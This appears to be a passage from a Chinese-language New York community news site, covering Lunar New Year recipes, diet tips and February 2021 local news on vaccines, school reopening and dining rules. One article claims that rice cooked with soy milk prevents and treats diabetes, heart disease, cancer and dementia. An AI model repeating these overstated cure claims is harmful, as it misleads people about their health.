在中医理论中,山楂属味酸带甘、性微温,可以降血脂和血压,对预防心血管疾病有益。而且它还含有 20%的粗纤维可促进肠胃蠕动。


酸梅汤

酸梅汤

酸梅汤的原料有乌梅、山楂、陈皮,都能帮助消除体内的多余油脂,而且陈皮也可以抑制把剩余的糖转化成脂肪喔!

麦茶

由焙炒过的大麦所制成的麦茶,含有人体需要的多种微量元素、氨基酸、不饱和脂肪酸,加上含糖量也低,所以具有去油腻、助消化,益气健胃等功效。同时因为它所含的膳食纤维,有助清除肠胃中的“垃圾”,所以能减轻在年菜中所摄取的多余负担。


蜂蜜柠檬水

蜂蜜柠檬水

水是促进人体新陈代谢的最佳饮品,加上柠檬富含维他命C,又加上蜂蜜去调味,让原本无色、无味的水,立刻变得香甜让人想喝的意愿大大增加,让人也增加了喝水的量,有助维持人体机能的运作。

2021-02-13 / by / in
开心过年!日本研究:睡前吃不会让你变胖 关键在于…..

过年/养生/饮食/睡眠/肥胖

过年了,亲朋好友团圆,满桌子的丰盛食物,齐聚一定要好好的享受一下年菜,但担心年过后,人也要“圆”一圈。

最新日本研究指出,血糖高低关键不在睡前饮食,而是充足的睡眠与均衡健康的食物,同时也应远离酒精、吸烟。在过年期间也尽量避免久坐沙发,研究显示运动也极为重要,在良辰佳节不妨揪揪出去走春。

高血糖可能导致糖尿病、体重增加、心脏病等问题。日本冈山大学(Okayama University)健康科学研究所(Graduate School of Health Sciences)的研究人员1月在《BMJ Nutrition》发表研究显示,当日最后一餐与就寝时间在2小时以内,并未影响长期血糖水平──糖化血红素(HbA1c)的变化。

什么是糖化血红素(HbA1c)?

糖化血红素反映血糖长期的平均值

台湾卫福部资料显示,红血球平均寿命120天,因此,测定血中糖化血红素百分比,显示最近两、三个月来血糖控制情形;血糖越高,被糖化的血红素百分比也就越高。


红细胞

吃好睡好戒烟戒酒多运动 血糖才正常

日本研究调查1573名40到74岁、没有任何糖尿病或前期症状的日本人进行研究,发现糖化血红素的稳定与睡前饮食较无关联,关键因素在于控制身体质量指数(BMI)、戒烟和戒酒,且须获得充足的睡眠,及摄取健康及均衡的饮食。

一份自2012年至2014年的长期研究发现,比起睡前饮食,“体重、血压、血脂、运动、吸烟、饮酒,与糖化血红素更有关联”。

研究提醒,此研究为观察性质,且仅能表示关联而无法代表因果关系;同时指出,日本的饮食包含蔬菜及膳食纤维,与其他国家较为不同。

戒酒

2021-02-13 / by / in
(视频)【新年特辑】四喜丸子 福禄寿喜 团团圆圆

四喜丸子/丸子/新年/中国新年

四喜丸子为中国传统的一道名菜,是逢年过节家庭年饭必不可少的食物之一,其代表吉庆,团圆与美满,四喜丸子味道鲜美,口感爽脆,是色香味俱佳。

材料:

肉末500克,马蹄20个,蘑菇10个,老豆腐0.5块,花椒水(或葱姜水)100毫升,淀粉2汤匙,葱姜末适量,

调料:

盐溶液,胡椒粉最多,酱油1汤匙,花椒10粒,大料1个,生抽2汤匙,老抽1茶匙,

做法:

1.备工作:马蹄切碎,蘑菇切碎,葱姜切末,豆腐捻成泥。

2.调馅:将所有的调料和切好的材料加入肉馅中搅拌均匀,边搅拌,边加入花椒水,然后在摔打一下,直到肉上劲。

3.熬汤汁:锅中放上油,加入花椒,大料,葱姜爆香,然后加入适量的生抽,老抽,料酒和水,大火烧开。

4.成菜:锅中放油,油热后加入攒好的丸子炸至定形,表面微微对准黄时捞出,放入汤锅里面,小火慢炖1小时。然后将丸子捞出,往汤汁中淋上适量的淀粉,将粘稠的汤汁浇在丸子上即可。

2021-02-12 / by / in ,
古人过年?有哪些风俗?看呆了…

古人怎么过年/遥远的年味/过年风俗

除夕,人们都浸在过年的喜悦氛围中,因为我们是一个多民族的国家,过年的风俗习惯也不同,今天与大家分享这几幅图,好似把人们带到那遥远的年味。


家家户户买春联贴春联,祝福新的一年


贴门神,新的一年,将军保吉祥


年三十,放爆竹。一声两声百鬼惊,三声四声鬼巢倾。十声连百神道宁,八方上下皆和平


除夕黎明打粪堆,但求万事如愿


宋朝时,以鸡冠花供祖风靡京城


古代拜年不必进府门,送上名片给主人送去祝福


新年前后,迎亲嫁娶较多,姑娘家会在婚礼前展示嫁妆,富裕人家有十抬之数


唐代结婚有男拜女不拜的习俗,谓之新妇不跪


元宵节,走百病摸门钉。多走走去百病。已婚不孕的妇女,摸城门钉,取‘添丁’之意,希望来年可生子


正月十五赏花灯,直到现在还保留着这个传统


二月二日,迎富,古人携鼓到郊外游玩,早出晚归


年年春打六九头。立春日,有鞭春牛的习俗


莺花三月,姑娘小姐纷纷踏春放纸鸢(风筝)、荡秋千


莺花三月,姑娘小姐纷纷踏春放纸鸢(风筝)、荡秋千


姑娘们吟诗作对,打闹取笑


集市上,耍猴人在让小猴子表演,小儿笑呵呵


男子的休闲娱乐之一,蹴鞠,即今日的踢足球

有些风俗习惯被继承了下来,有些则消失在记忆里。真想回到古代,过一个没有手机、电脑,一声鞭炮,一颗糖就很满足的新年,那时候,年味正浓。

2021-02-12 / by / in
红豆核桃年糕 甜蜜蜜 步步高(视频)

红豆核桃年糕/红豆/核桃/年糕

年糕是我们中华民族的传统食物,年糕是用糯米和白糖制作而成的。过年吃年糕有取其“年年高”的意思,也就是一年比一年好。

年糕的做法有很多种,蒸,烤,炸等等。种类也因地域不同而分为八宝年糕,夹心年糕,炸年糕,汤年糕等等。甜甜的,粘粘的年糕,象征新的一年生活甜蜜,步步高。

材料:

糯米粉 200克,糖 120克,鸡蛋 2个,椰子油 4汤匙,炼乳 4汤匙,椰奶 400毫升,米粉 100克,水 130毫升,煮熟的蜜红豆 300克,

做法:

烤箱事先预热180摄氏度。

1. 煮红豆:将300克红豆洗净后,放入水中浸泡一夜。放入锅中加入120克糖煮1小时。

2. 将所有材料放入盆中混合在一起。

3. 烤盘四周用烘培纸垫好,将混合好的材料倒入烤盘中,在上面撒上碎核桃和芝麻,放入烤箱里面烤60分钟即可。

2021-02-11 / by / in ,
过年零食不停 小心热量爆表哦(组图)

过年、零食热量、少油、少糖、少盐、五谷、蔬果、瘦肉、鳕鱼、凉拌、清炖、含糖饮料

过年了,亲朋好友聚集在一起好吃好喝,还有各种丰盛的小零食,但大家一定要注意好吃好喝的背后暗藏的超高热量。

董氏基金会营养师许惠玉提醒,吃15颗腰果等于喝下1匙油,看似健康的干燥蔬果也都是油炸食品,吃28克香蕉片等于喝下2匙油。


零食

中国年脚步近,过年期间多数民众的生活就是吃饱睡、睡饱吃,一旦不小心吃得太放纵,当心过完年整个人胖一圈。

中央社引用董氏基金会食品营养中心主任许惠玉观点提醒,挑选年菜时应遵守“三少二多”原则,包括少油、少糖、少盐以及多五谷、多蔬果,以瘦肉、鳕鱼取代肥滋滋的五花肉;烹调方式也应以蒸、煮、烤、炖、卤、凉拌为主,以清炖取代红烧或油炸。


烹调方式也应以蒸、煮、烤、炖、卤、凉拌为主

除此之外,控制餐点分量也相当重要,许惠玉建议,民众应准备自己的小盘子,每道菜挑出适合的分量,把油炸过的外衣、肥肉去掉,别喝芶芡或浓稠的汤汁,都是减少油盐摄取的小撇步。

长春藤预防医学健康管理师余孟璇也指出,除了挑选少油、少盐的餐点,进食顺序也有学问,建议先喝汤,再依序吃肉、菜、饭、水果,先吃蛋白质有助于延缓血糖上升,可提升饱足感。


鱼汤

甜点的挑选也应浅尝即止,余孟璇说,精致的淀粉如年糕、南枣核桃糕、发糕等都应适度食用,并于下一餐减少白饭摄取,饮品方面也应少喝含糖饮料、桂圆红枣茶、黑糖姜茶,改喝无糖的花草茶或单以水果提味的水果茶。

过年团聚家家户户必备的涮嘴小零食如开心果、腰果、麻荖、糖果、牛肉干等,都暗藏超高热量,许惠玉以腰果为例,腰果的油脂量相当高,吃15颗腰果等于喝下1汤匙的油,而麻荖外皮沾有糖粉、芝麻、花生,热量相当惊人,看似健康的干燥蔬果,如苹果片、香蕉片、菠萝蜜片、干燥四季豆等等,其实都是经油炸后脱水制成,吃28克的香蕉片就等于吃下2茶匙的油脂。


苹果干

许惠玉建议,零食应以无调味爆米花、毛豆、低盐海苔等为主,不仅热量不高,也能解嘴馋,或以新鲜水果取代零嘴,是更健康的选择。

2021-02-11 / by / in
纽约市卫生局长:上门为长者打疫苗有困难

纽约市卫生局长:上门为长者打疫苗有困难

周二(2月9日)晚间,市卫生局局长乔克西(Dave Chokshi)出席由国会众议员欧凯秀(AOC)主持的第14选区里民大会,回应关于居家老人、尤其是完全无法出门的长者如何接种疫苗的问题。

市卫生局局长乔克西表示,不论是一般的居家老人,或者是完全需要借助外界力量才能生活的长者,市卫生局都在想办法为他们接种疫苗。但是首先要确定照顾老人的护士或健康护理员已经接种疫苗,这样能初步保证长者的安全。再者,是改善方便长者接种疫苗的设施,如增加更多快闪注射点,或者在长者居住的地方成立注射点。

但是最关键却也在现实中有执行困难的,就是直接由护理人员上门为无法出门的长者注射疫苗。乔克西指出,目前需要各打两剂的辉瑞(Pfizer)和Moderna疫苗,都是mRNA疫苗,需要特殊的冷藏设备;因此,“在保证疫苗安全和效能的情况下,很难将疫苗带到家家户户”。

乔克西说:“所以我们很期待看到强生(Johson & Johson)在本月稍晚能得到授权生产疫苗,(强生)疫苗配方比较稳定,能让更多纽约人得到疫苗,也可以把疫苗带到民众家中。”

市议员崔马克(Mark Treyger)曾在1月26日敦促市长白思豪采取紧急行动,为高危老年人提供疫苗接种。崔马克表示居家老人是社区中最脆弱的人群之一,但市府还没有针对该群体接种疫苗的详细计划。

2021-02-10 / by / in ,
申请入籍 部分人士无需重新打指模

申请入籍 部分人士无需重新打指模

在疫情期,美国移民局被授权在有限的情况下,可以重复使用申请人的生物指征信息,近日有申请入籍的华人,收到移民局的通知,告知她:会重复使用移民局以前对她获取的指模及其它生物指征信息,她无需再去打指模。

住在法拉盛的张小姐说,她去年7月递交入籍申请,但是一直没有收到打指模的通知,在疫情之前,一般递交申请之后一个月左右,就会收到打指模通知,她上月看媒体报导,打指模进度拖延严重,办理速度是疫情之前的65%,她更感悲观。近日她收到移民局的通知,告知她不用重新打指模,她无需去移民局的支持中心,而是使用之前对她录得的指模和其它生物指征信息,并将会对她进行背景调查。

这证实了移民局对部分人士在录取指模上的调整,这些人的情况通常是,他们的个人身份得到了确凿认证或他们的案件可以得到决定。

法拉盛一家移民入籍中心也证实,现在很多申请入籍的人无需重新打指模,但移民局的办理时间比疫情前拖延不少,现在从提交申请到面试,大概需要1年到14个月时间(疫情期之前的正常时间是半年左右)。移民局一般在距离面试前一个月,向申请人发出面试通知。

不过有的申请人以为移民局在疫情期办案拖延,对自己入籍面试的准备不那么抓紧,在突然收到通知,只有20多天时间准备时,措手不及。

法拉盛华人王女士表示,由于疏忽,没有留意移民局的信,她本月4日收到移民局于1月19日发出的面试通知,通知她23日面试,只剩下20天,她一下子慌神了,“我是2019年11月递交入籍申请的,12月份打指模,之后遇上瘟疫大流行,移民局关门,去年一年我的申请案就拖下来了。而我总以为,这么长时间都没有音信,移民局办事效率低下,还有时间,没想到突然收到移民局面试通知,过20天就要面试,实在措手不及。”

移民入籍中心表示,从去年下半年开始,移民局的办案逐渐恢复,虽然很慢,但总算在前进中,目前从递交申请到面试,一般需要1年到14个月时间。递交了入籍申请的人士,如果英文不好的,应留出充裕时间准备,移民中心的入籍课程是在网上上课。现在疫情,各方面的联络沟通、办事都不方便,政府部门也办事效率较低,如果面试不通过,又不知拖到什么时候,所以最好提前做好充分准备。

2021-02-10 / by / in
素狮子头 年夜饭少不了 平安吉祥 团团圆圆

素丸子/丸子/红烧狮子头/狮子头

狮子头是过年少不了的一道素食菜,它代表着吉庆、团圆和美满之寓意。

用豆腐、土豆、香菇,油面筋、馒头等食材制成,红润油亮的丸子,加上浓郁的汤汁,看着就很诱人。丸子很柔软入味,外酥内软。

食材:

油面筋 5个,老豆腐 0.5块,馒头 2个,土豆 1个,香菇 6个,胡萝卜 1个

调料:

蚝油 2大勺,盐 少许,生抽 3大勺,老抽 1汤匙,白糖 1小勺,淀粉 适量

做法:

1、先于北豆腐表面抹上少许盐,放置约半小时后再将豆腐压碎,挤压出多余水分。不能用嫩豆腐做这道菜哦,否则松散不成团。

2、把油面筋用水泡软后撕开,剁成小碎块;香菇切碎,胡萝卜去皮切碎。

3、把土豆去皮切成薄片,放入蒸锅蒸15分钟将其蒸熟,蒸好后用勺子压成土豆泥;与豆腐泥、馒头碎、油面筋碎等放在一起,加入蚝油,盐调味,然后加入2勺淀粉搅拌均匀,淀粉就是为了更好的成团。馒头是这道狮子头成团不松散的关键。


将丸子材料混合在一起

4、取大约手掌心大小的馅料,放在手掌中揉成丸子。

5、油温6、7成热开始炸丸子,将丸子顺着锅边放入,下锅后火调小不要翻动丸子,不能用大火,要不外面焦了里面还没熟,炸至表面成金黄色后捞出,炸的目的是将丸子定型。


炸丸子

6、平底锅放1碗水、3汤匙的生抽、1汤匙老抽、冰糖或白糖煮开,放入素丸子烧煮入味,小火煮约10~15分钟,不时翻动丸子,烧煮入味。然后盛出丸子,将水淀粉倒入锅中剩余的汤汁里,调成芡汁,浇在狮子头上即可。

2021-02-10 / by / in , ,
做米饭加上它,三高降了、便秘没了,邻居都跟着学

豆浆/降三高/解便秘/煮饭加豆浆/米饭/ 一日三餐

豆浆是一种不可缺少的液态营养品,老幼皆宜、如果用它煮白米饭,不仅更美味,还能治疗多种疾病,比如降三高,解便秘,还能使你更年轻!

日常豆浆打多了喝不完倒掉可惜,喝多肚胀,不妨用它来煮饭,不仅可以营养互补,而且味道更为香甜。

好处一 、口感更糯

大米配上豆浆,增加了大豆蛋白和优质脂肪,因此煮出的米饭更糯,更香甜。

好处二 、营养互补

米饭是谷物,豆浆是豆类食品,豆浆加米饭,能弥补谷物中缺乏的赖氨酸 ,米饭配豆浆则能发挥谷类中蛋氨酸的作用。

加了豆浆的米饭,富含优质蛋白、不饱和脂肪酸、膳食纤维、钙、异黄酮、低聚糖、卵磷脂、甾醇、皂苷等,营养素种类更全面。


加了豆浆的米饭,富含优质蛋白。

好处三 、更易吸收

并且单独吃米饭或喝豆浆,蛋白质都不易被人体吸收,但是一搭配,大豆蛋白和谷类蛋白就发生了“互补作用”,有效提高了蛋白质的吸收利用率。

好处四 、胜过吃肉

米饭配豆浆,蛋白质相当于肉的含量,难怪老人们常说“米饭加豆等于吃肉”。

如今许多中老年人三高,不能吃肉,不如多食用豆浆饭,有效弥补不能吃肉造成的营养不良,而且更安全、健康。

好处五 、预防疾病

豆浆饭能防治糖尿病、高血压、冠心病、中风、癌症,还能抗衰老、防老年痴呆、便秘、肥胖,日常一定要多吃。

豆浆饭这么好,做的时候要注意什么呢?

注意事项:

1 、豆浆用量大于水

煮豆浆饭时,豆浆的量要多于用水煮饭时水的用量,如果200g的米,需要260ml的水,换成豆浆则需要300ml。豆浆倒入淘洗好的米中后,一定要搅拌一下,以防大米结成团,影响口感。

2 、选择稀豆浆


选择稀豆浆

煮饭的豆浆,要选择比较稀的豆浆,如果浓度太高,可以适当的水稀释,以防煮出的饭口感过硬。

3 、食用豆渣

豆浆在制作中需要过滤豆渣,因此损失了一些膳食纤维,不妨把剩下的豆渣做成炒豆渣吃,不仅增强饱腹感,而且减缓人体对糖的吸收,降三高,又通便。

除了用豆浆煮饭,煮饭加点它,效果惊呆你!

加燕麦—控制高血脂

燕麦富含 β-葡聚糖,日常多吃能降低人体内坏胆固醇的含量,有效地降低心血管疾病的风险,尤其是高胆固醇和高血脂的朋友一定要记牢。

燕麦烹调得越粘稠,越能发挥β-葡聚糖的作用,不仅能加强饱腹感,促进降脂,加速肠胃蠕动,还能延缓血糖上升速度,糖尿病朋友一定要多吃。

加玉米—防癌

玉米不仅含有碳水化合物、蛋白质、脂肪,还含有异麦芽低聚糖、维生素、多糖等大量营养物质,是营养最全面的主食之一。

此外玉米还含有谷胱甘肽,能与人体内多种致癌物质结合,使之失去致癌性。玉米中的木质素 , 能使人体内 “ 巨噬细胞 ” 的活力提高2~3 倍 , 有效抑制癌瘤的产生,玉米中的矿物质镁也有极强的防癌效果。

加小米—安眠健胃

许多朋友压力大,没胃口,时间长了便会导致胃病。日常不妨在米饭中加点小米,促进消化更养胃。

加红薯—减肥防癌

红薯配米饭能有效弥补米饭中胡萝卜素、维生素C、膳食纤维、钾的不足。并且红薯富含膳食纤维,能促进人体有毒物质和胆固醇的代谢,还能预防便秘,间接预防肠癌和高血脂。


红薯

红薯中的胡萝卜素和维生素C,具有极好的抗氧化作用,有效预防心血管疾病。

加豆子—营养更全面

米饭配上富含淀粉、蛋白质、膳食纤维、微量元素的豆类,如绿豆、红豆、黑豆、蚕豆等,不仅能弥补大米中赖氨酸缺少的不足,还能提高人体蛋白质的吸收率。

当然由于豆类的皮都比较硬,因此最好提前浸泡,或用水煮20分钟,再与大米一起蒸煮,口感更好哦~

添油加醋—粒粒分明

煮米饭前,加入半汤勺植物油,或是滴入几滴米醋,蒸出的米饭松软清香,粒粒分明。

并且加醋的米饭还能减缓变质速度,用柠檬汁或柑橘汁效果一样好,并且更清香,陈年旧米也好吃!

加酒—煮夹生饭

米饭夹生,不妨加两勺米酒、白酒或黄酒,搅拌均匀后用小火煮一会儿,饭就熟透了。

除了煮米饭,炒米饭时加一些酒,炒出的米饭粒粒松散,又香又可口。

加盐—蒸剩饭

剩饭重新蒸后不仅味道差,口感也差,不妨倒入少量盐水后再蒸,米饭香味浓郁、口感细腻,和刚出锅的一样。

加葱—去糊味


日常做饭,不小心米饭煮糊了,可以在米饭中插一根葱,再盖上盖子焖一会儿,糊味立刻就消失了。

此外这些做法窍门一定要记牢,这样煮饭最好吃

1、淘米1-2遍

许多朋友淘米淘三四遍,其实是不对的,大大损失了大米的水溶性营养素。淘米不应用流水清洗,应该放在盆里用手搅动着清洗1-2遍,去除表面灰尘即可。

2、先泡后煮

将米在冷水里浸泡1个小时,充分吸水,不仅能缩短加热时间,还能减少营养损失。

3、注意加水量

一些朋友不注意加水量,蒸出的米饭要么太硬要么太软。通常煮白米饭,米和水的比例是1、1.2,清水高出大米2~4厘米即可。

如果是大米里面加紫米、高粱或者小米等粗粮,则要适当多加水,因为粗粮很“吃水”。

4、多焖一会

电饭煲跳档后别急着打开盖子,也不要马上拔插头,让它处于保温状态5分钟,拔完插头后再焖5分钟,这样蒸出的米饭口感好不粘锅!

怎么样,学会了吗?

2021-02-10 / by / in , ,
纽约市曼哈顿下城免费发粮 改为两周一次

纽约市曼哈顿下城免费发粮 改为两周一次

周一(2月8日)中午,市议员陈倩雯办公室宣布与四个民团合作,扩展原先的“社区优先免费食物发放”(Community First Food Pantry)项目。为了减轻分配不均,陈倩雯和非营利组织UA3协同工作,以每两周一次的频率将食品盒运送到曼哈顿下城的居民楼。

“UA3”主席孔振成(Donald Hong)说,该项目自去年4月开始,2020年12月以前,每周服务近5000人,未来希望能够每周帮助1.1万人,并将发送食物的范围拓展到布碌崙日落公园、皇后区法拉盛、曼哈顿中城、布朗士南哈林等纽约市社区。

目前参与该项目的主要团体还有“Vision Urbana”、亨利街社区中心(Henry Street Settlement)、纽约三一教堂(Trinity Church),而“Welcome to Chinatown”也以赠送便当支援项目,大盛贸易公司(Tay Shing Corp)则为该项目赠送新鲜蔬菜。

“UA3”和“Vision Urbana”在去年3月便共同合作为社区免费派发百万磅食物,“Vision Urbana”因此在去年8月20日获得市议员陈倩雯与曼哈顿区长高步迩(Gale Brewer)等民选官员认可拨款70万元,并在下东城成立永久办公室继续实施免费派送食物的项目。

2021-02-09 / by / in
疫苗副作用大 染过疫者第二针慎打

疫苗副作用大 染过疫者第二针慎打

一般人在施打第二针的次日身体反应较大 长期病患合不合资格打疫苗是一个复杂问题

新冠病毒在全球肆虐长达一年了,目前各界都把希望寄托在疫苗上。针对疫苗的副作用、老年病患打还是不打,众说纷纭。亚美医疗中心疾病管理主任医师李俊杰表示,据他观察,未染疫的人,在施打第二针后次日很难熬,身体反应较大;而染过疫的人,在打第一针时的反应就相当于平常人打第二针的反应,因此第二针要慎打。

布碌崙华人联合会与中美医师协会昨天(2月8日)举办线上讲座,邀请亚美医师协会主治医师李显民和亚美医疗中心疾病管理主任医师李俊杰,讨论疫苗常见问题、与COVID-19相关的长期健康影响和后遗症。

李俊杰(Paul Lee)医生说,当1月份疫情相对平缓时,人人对疫苗的态度都是“不要把我当大老鼠实验”;而到了现在,法拉盛、羊头湾和八大道等地疫情上升,华人在拥挤的居住环境下很容易由一人引入变全楼连环中招,因此人人抢着打疫苗,且“个个成为疫苗专家,到诊所念念有词,要打这种疫苗,不打那种疫苗”。

在谈到疫苗的副作用时,他说,不少人打了第二针疫苗后感到“发烧发冷”,也不是全部,但个别人的不良反应“很恐怖”,而华人圈中普遍指望这两针打完,就能像武侠剧中的高手张无忌一样变得“百毒不侵”。

即使新冠疫苗有其副作用,李显民医生还是认为打疫苗有预防作用,他敦促民众在家准备好退烧药等应对不良反应的药,做好心理准备熬过一两天。不过由于染过疫的人,在打第一针时的反应就相当大,担心打第二针时身体可能扛不住,因此这些人打不打第二针,还要看美国疾病控制和预防中心(CDC)的讨论结果。

对于“三高”(高血压、糖尿病、高血脂)的老人,还有长期病患者是否不适宜接种疫苗?李俊杰说,微信上很多人传老人不应该打疫苗,他认为未必是假信息,但他认为不同环境的做法不同,例如中国年轻人感染严重,因此中国未必鼓励老人施打疫苗,而美国担心老人家太多感染会让医疗系统崩溃,因此在做法上反过来。但长期病患合不合资格打疫苗,则是一个“很复杂、很深奥”的问题。

之前,川普总统赞扬他接受的实验性抗体药物治疗是“上帝的奇迹”,是治愈他的功臣。李俊杰医生说,这些单株抗体(monoclonal antibody infusion) 对发病十天内而不严重至入院的患者有明显效果,“很多人还不知道,很神奇,24小时内所有症状消失。”不过他说,这对变种病毒患者可能无效。

李俊杰表示,这种单株抗体为早期降低病毒含量的药,治疗对象为COVID-19病毒检测呈阳性的轻中度成年患者,以及有发展成重症的高危险人群,这包括65岁以上,或有某些慢性病史如心脏病或糖尿病的患者,这种药很贵,但医院只收打针钱不收药费,由政府批给个别医院。玛摩利医院(Maimonides Hospital)就有,但须经过家庭医生转介,不是任何人直接上医院就能打。

对于新冠病毒感染的后遗症,与会的Alice Lam女士说,她去年4月染疫,康复后手指痛,右手晚上一碰被子就有刺痛感、甚至拉不动被子,心跳加快等。李显民医生分析,这是新冠病毒攻击了神经系统的缘故,李俊杰说,或者残存的病毒引发过度免疫反应,影响到神经线。

2021-02-09 / by / in ,
纽约市餐馆堂食提前至大年初一开放

纽约市餐馆堂食提前至大年初一开放

基于疫情数据持续降低,纽约州长库默8日宣布,纽约市餐馆恢复室内用餐将从本周五(2月12日,大年初一)开始,较原定从西洋情人节开始堂食的计划提前了两天,而餐馆堂食客容量仍限制为25%。州长表示,市内的餐馆业者一直希望在假日之前恢复室内用餐,以便可提前应对,此举将使餐馆多了两天的准备时间,以便从周末的业绩增长中受益。

图为2020年10月1日,纽约市民在一间餐馆内用餐。
图为2020年10月1日,纽约市民在一间餐馆内用餐。

本周恰逢黄历新年到来,2月11日除夕便开始过华人文化中传统的新年了。一些华人中餐馆业主原以为州府2月14日才允许恢复室内用餐,错过了华人家庭团圆围炉的商机;而如今提前到2月12日大年初一,无疑对他们来说是好消息。

国会众议员孟昭文表示,黄历新年是皇后区及全美亚裔美国人最重要的节日之一,她感谢州长提前三天开放餐馆堂食,希望该政策能为当地因疫情受影响的餐馆带来急需的财务帮助。

曼哈顿意大利餐馆“Birichino”老板Fouad al sharif表示,他们等待这一天已经很久了,提前到周五可让他们准备周日情人节的大日子,预计餐馆会很忙。他提到,希望州府开放到50%的堂食客容量,因为他们为户外用餐额外做了许多工作,例如在寒冷的天气提供顾客供暖设备,以便较舒适地用餐。

纽约市餐馆开放堂食后,一些餐饮业主认为,餐厅酒吧须在晚上10点关门的规定应该延后,该老板则认为,目前的规定已经足够了,他回答记者说,“老实说,纽约市已经不如从前了,目前在外面待晚了不是很好”。

目前州内疫情数据都呈下降趋势,7日全州确诊率为4.28%,重症加护病房患者为1,454人(减少5例),使用呼吸机插管治疗患者为961(减少18例),单日染疫身亡人数降至114人。

2021-02-09 / by / in
纽约将开启“弹出式”艺术表演

纽约将开启“弹出式”艺术表演

在车站、公园、地铁站台、博物馆、溜冰场、街道角落表演 部分网上直播

州长在新闻发布会上表示,纽约州要开放300种“弹出”艺术;同时,纽约市政府要给艺术家们发放街头表演许可证。但是为了不聚集过多的观众,表演只在开演前二十分钟内通知公众。

表演地点将在车站、公园、地铁站台、博物馆、溜冰场、街道角落等地方。表演者将收到来自公共或者私人基金会的酬劳,表演还将在网络上直播。

纽约市的街头表演许可将从3月1日开始发放,有效期仅当日有效;允许最多50人同时表演;发放对象包括电影院等收到艺术资金的单位。纽约市的街头表演地点是市政府指定的地点,包括百老汇和第七大道之间的西51街等地。

在州长和市长的弹出式表演计划公布之前,很多艺术家们早已开始这么实践了。比如日前,由考夫曼音乐中心(Kaufman Music Center)提出,并获得Alphadyne基金会资助,超过100名出色的艺术家在纽约市街头的橱窗内,已经为纽约市民带来街头音乐会了。他们将带来一共60场的街头演出,会一直持续到3月中旬。

优雅的小提琴与醇厚的低音提琴相伴,一场橱窗内的现场音乐会,将路人深深吸引了。人们忘却了天气的寒冷,纷纷驻足观赏。

纽约行人克拉克( Richie Clarke)说,这真让人耳目一新。“太棒了。刚好路过听到。”他说。“这使我想起了纽约的魔力,虽然永远都在那儿,但有点像再次被点亮。”

纽约街头行人居里克( Stefan Zylik)说,他非常享受。“我们准备回家但听到了音乐演奏,天气那么好,为何不在外面趁机欣赏精彩的音乐呢,真是非常享受。”他说。

考夫曼音乐中心执行董事施兰( Kate Sheeran)认为,音乐的最美好之处,就是能帮助人们建立联系,拥有共同的体验。“这就是为什么人们一直都非常想念它。”她说:“我们对这种艺术和连结如饥似渴,很高兴每天都能在这里看到。”

2021-02-09 / by / in
初中申请延期至2/23 高中申请延期至3/1

初中申请延期至2/23 高中申请延期至3/1

纽约市教育局昨天(2月8日)宣布,原定于2月8日截止的初中申请,延期到2月23日截止;原定于2月23日截止的高中申请,延期到3月1日截止。

教育局说,如果你已经提交了申请,那么你不需要再做任何事情,但如果要修改申请,那么在截止日期之前完成。

对于初中或高中申请,如果你不确定选择哪些学校,有三个途径可以解决:1、登陆myschool.nyc,在线观看指导申请的视频;2、到孩子的学校找辅导员;3、访问市教育局“家庭欢迎中心”(地点查找:https://www.schools.nyc.gov/enrollment/enrollment-help/family-welcome-centers)。

查找初中、高中学校,请浏览:https://www.myschools.nyc/en/schools/。

据第24学区教育委员会主席黄友兴介绍,由于大部分小学5年级学生在家远程上课,今年申请初中的工作主要落在了家庭身上,而不像以前有老师在身边辅导,所以今年的初中申请有不少家庭遇到困难,特别是有语言障碍的新移民家庭,因为学生年龄比较小,加上家长也不懂的话,对他们来说有一定难度。

黄友兴建议,这些家庭最好回到孩子的学校找辅导员,或前往教育局的家庭欢迎中心去咨询。

市教育局在线举办多场高中申请讲座,时间是:2月16日(下午5点)、17日(中午1点)、18日(中午12点),以英语进行。登记方式:https://bit.ly/3tDGpJ5,或者发邮件:shsat@schools.nyc.gov,将收到登陆讲座的链接。

2021-02-09 / by / in , ,
纽约市初中校园 2/25起重开

市府承诺在2月15日至19日的寒假期间 优先为教师接种COVID-19疫苗

纽约市长白思豪8日宣布,纽约市的公立初中将于(2月25日)重新开放校园,此前由于中共病毒(COVID-19)疫情,初中(6年级至8年级)学生一直在家上网课。

当局要求教师提前一天返校,并向初中教师承诺,在2月15日至19日的寒假期间,优先为教师接种COVID-19疫苗。

教育局说,约有6.2万名六至八年级的初中学生可选择返校上课。作为校园重开计划的一部分,教育局将增加人员,在学校进行每周测试,并对负责跟踪和应对潜在病例的“情况室”增加人员。

市教育总监卡兰萨(Richard Carranza)说,他预计纽约市471所初中当中,有一半学校能够提供每周五天的课程。

按照规定,有面对面课程的学校,每周必须在校内对20%的学生和教职员工进行检测,当局说他们现在具备了检测能力,可以把校园重启扩展到初中。

教师联合工会主席穆格鲁(Michael Mulgrew)说:“纽约市宣布已建立足够的检测团队,并获得了必要的实验室能力,以重新开放初中校园。随着更多年级和建筑物的重新开放,须严格遵守个人防护品和社交距离要求。”

他说:“这些严格的标准,以及在检测到病例时必须暂时关闭建筑物的要求,使学校成为大流行期间社区中最安全的场所。”

从2020年9月到2021年2月8日,纽约市的教职员工和学生当中有14,774例确诊病例。市长没有透露高中学生何时返回学校上课,目前大约有70%的小学生选择在家远程上课。

去年11月19日,全市7天平均测试阳性率达到3%时,纽约市的小学、学前班再次关闭。两周后重新开放,并增加了强制的每周测试。不过在那些已经重新开放的学校中,有不少因为出现确诊病例而不得不又暂时关闭。

如果学校确诊一例,出现病例的班级的师生将隔离10天,一所学校如果有两起或两起以上确诊病例,教学楼将关闭24小时。如果发现这些病例是没有关联的,教学楼将关闭10天(之前是14天)。

截止到8日,纽约市过去7天的平均确诊率为8.95%。纽约市公立学校的阳性确诊率一直很低,2月5日为0.54%。

2021-02-09 / by / in , , ,
最好吃:豉汁蒸三文鱼(视频)

豉汁蒸三文鱼/三文鱼

提起三文鱼大家都不陌生,很多人都喜欢吃三文鱼,因为三文鱼营养丰富、健康美味。其实三文鱼有好多种不同的烹调方法,今天来和大家分享豉汁蒸三文鱼的做法。

三文鱼中含有的omega-3高不饱和脂肪酸,可以有效预防心脑血管疾病。由于现代人的生活水平提高了,吃的东西都是营养价值很高的食物,但运动量却很少。高血压,心脑血管疾病变成了一种通病。常吃三文鱼可以有效的避免这种疾病的发生。

材料:

三文鱼 300克,葱 1根,姜丝 适量,豆腐 1块

调料:

黑豆豉 1茶匙,生抽 1茶匙,香醋 微量,糖 微量,剁椒 1/2茶匙

做法:

1. 准备工作:将豆腐切成厚片码放在盘子说。三文鱼也切成厚片,放在豆腐上面。豆豉切碎,葱姜切丝,

